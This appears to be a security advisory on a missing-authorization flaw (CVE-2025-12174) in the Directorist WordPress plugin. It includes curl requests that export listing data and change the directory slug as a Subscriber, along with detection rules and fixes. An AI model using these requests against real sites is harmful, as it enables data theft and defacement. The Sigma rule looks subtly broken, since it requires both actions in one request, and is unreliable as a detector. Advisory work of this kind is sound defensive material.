CVE-2025-12174

Executive Summary

CVE-2025-12174 is a Missing Authorization vulnerability in the Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings plugin for WordPress. This flaw affects all versions up to and including 8.5.2. The vulnerability resides in two AJAX actions: directorist_prepare_listings_export_file and directorist_type_slug_change. Due to a missing capability check, authenticated attackers with Subscriber-level access or higher can exploit these actions to export sensitive listing details and arbitrarily change the directorist slug. This can lead to information disclosure and potential site defacement or SEO manipulation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Directorist plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor's site. Users are advised to verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - Attacker needs Subscriber-level authentication.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The exploit does not affect other components.
• Confidentiality (C): Low (L) - Limited information disclosure (listing details).
• Integrity (I): Low (L) - Limited modification (slug change).
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the combination of information disclosure and the ability to change the slug (which can affect site routing and SEO) makes this a significant concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). In WordPress, AJAX actions are typically registered with a capability check to ensure the user has the necessary permissions. In this case, the functions directorist_prepare_listings_export_file and directorist_type_slug_change are hooked to AJAX actions but lack a current_user_can() check.

• directorist_prepare_listings_export_file: This action is intended for administrators to export listing data (e.g., business names, addresses, contact info). Without a capability check, any authenticated user can trigger this action and download a CSV file containing all listing details.
• directorist_type_slug_change: This action allows changing the slug (URL path) for the directory type. An attacker could change the slug to something malicious or disruptive, potentially breaking site navigation or redirecting users.

The exploit is straightforward: an authenticated user sends a POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and required data. The server processes the request without verifying the user's role.

Vulnerable vs. Patched Code

Vulnerable Code (<= 8.5.2):

add_action('wp_ajax_directorist_prepare_listings_export_file', 'directorist_prepare_listings_export_file');
function directorist_prepare_listings_export_file() {
    // No capability check
    // ... export logic ...
}

add_action('wp_ajax_directorist_type_slug_change', 'directorist_type_slug_change');
function directorist_type_slug_change() {
    // No capability check
    // ... slug change logic ...
}

Patched Code (Hypothetical):

add_action('wp_ajax_directorist_prepare_listings_export_file', 'directorist_prepare_listings_export_file');
function directorist_prepare_listings_export_file() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... export logic ...
}

add_action('wp_ajax_directorist_type_slug_change', 'directorist_type_slug_change');
function directorist_type_slug_change() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... slug change logic ...
}

The patch adds a current_user_can('manage_options') check, which restricts these actions to administrators only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Directorist plugin version <= 8.5.2.
• An authenticated user account with Subscriber-level access or higher.

Exploit Steps:

1. Export Listings:

   • Send a POST request to /wp-admin/admin-ajax.php with the following parameters:

     action=directorist_prepare_listings_export_file
     

   • The server will return a CSV file containing all listing details.

   Example using curl:

   curl -X POST \
     -d "action=directorist_prepare_listings_export_file" \
     -b "wordpress_logged_in_<hash>=<cookie>" \
     http://target.com/wp-admin/admin-ajax.php
   

2. Change Slug:

   • Send a POST request to /wp-admin/admin-ajax.php with:

     action=directorist_type_slug_change
     new_slug=malicious-slug
     

   • The slug will be changed, potentially breaking site navigation.

   Example using curl:

   curl -X POST \
     -d "action=directorist_type_slug_change&new_slug=malicious-slug" \
     -b "wordpress_logged_in_<hash>=<cookie>" \
     http://target.com/wp-admin/admin-ajax.php
   

Blue Team (Defender)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=directorist_prepare_listings_export_file or action=directorist_type_slug_change from non-admin users.
• Look for unusual patterns in slug changes or bulk data exports.

Mitigation:

• Immediately update the Directorist plugin to a patched version (if available).
• If no patch is available, consider disabling the vulnerable AJAX actions via a custom plugin or .htaccess rules.
• Implement Web Application Firewall (WAF) rules to block these specific AJAX actions from low-privilege users.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=directorist_prepare_listings_export_file from non-admin IPs.
  • POST requests to /wp-admin/admin-ajax.php with action=directorist_type_slug_change from non-admin IPs.
  • Unusual CSV file downloads from the server.

• File IOCs:

  • Unexpected CSV files in the server's temporary directories.
  • Changes to the directorist plugin's slug in the database (wp_options table).

• Log IOCs:

  • WordPress debug logs showing AJAX calls from Subscriber-level users to admin-only actions.

Detection Engineering

YARA Rule

rule Detect_Directorist_Export_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-12174 via export action"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-12174"
    strings:
        $ajax_action = "directorist_prepare_listings_export_file"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: Directorist Missing Authorization Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-12174 in Directorist plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=directorist_prepare_listings_export_file'
            - 'action=directorist_type_slug_change'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12174 Directorist Missing Authorization Exploit"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=directorist_prepare_listings_export_file"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Update the Directorist plugin to the latest version (if a patch is released).
   • If no patch is available, consider temporarily disabling the plugin or restricting access to the vulnerable AJAX actions.

2. Workaround:

   • Add a custom plugin or mu-plugin that hooks into the AJAX actions and adds a capability check:

     add_action('wp_ajax_directorist_prepare_listings_export_file', 'custom_cap_check', 1);
     function custom_cap_check() {
         if (!current_user_can('manage_options')) {
             wp_die('Unauthorized');
         }
     }
     

3. Long-term:

   • Implement a Web Application Firewall (WAF) with rules to block these specific AJAX actions from non-admin users.
   • Regularly audit WordPress plugins for missing authorization vulnerabilities.
   • Enforce the principle of least privilege for all user roles.

4. Monitoring:

   • Enable detailed logging for AJAX requests.
   • Set up alerts for any attempts to access these actions from low-privilege accounts.

Valters IT
Securing Digital Frontiers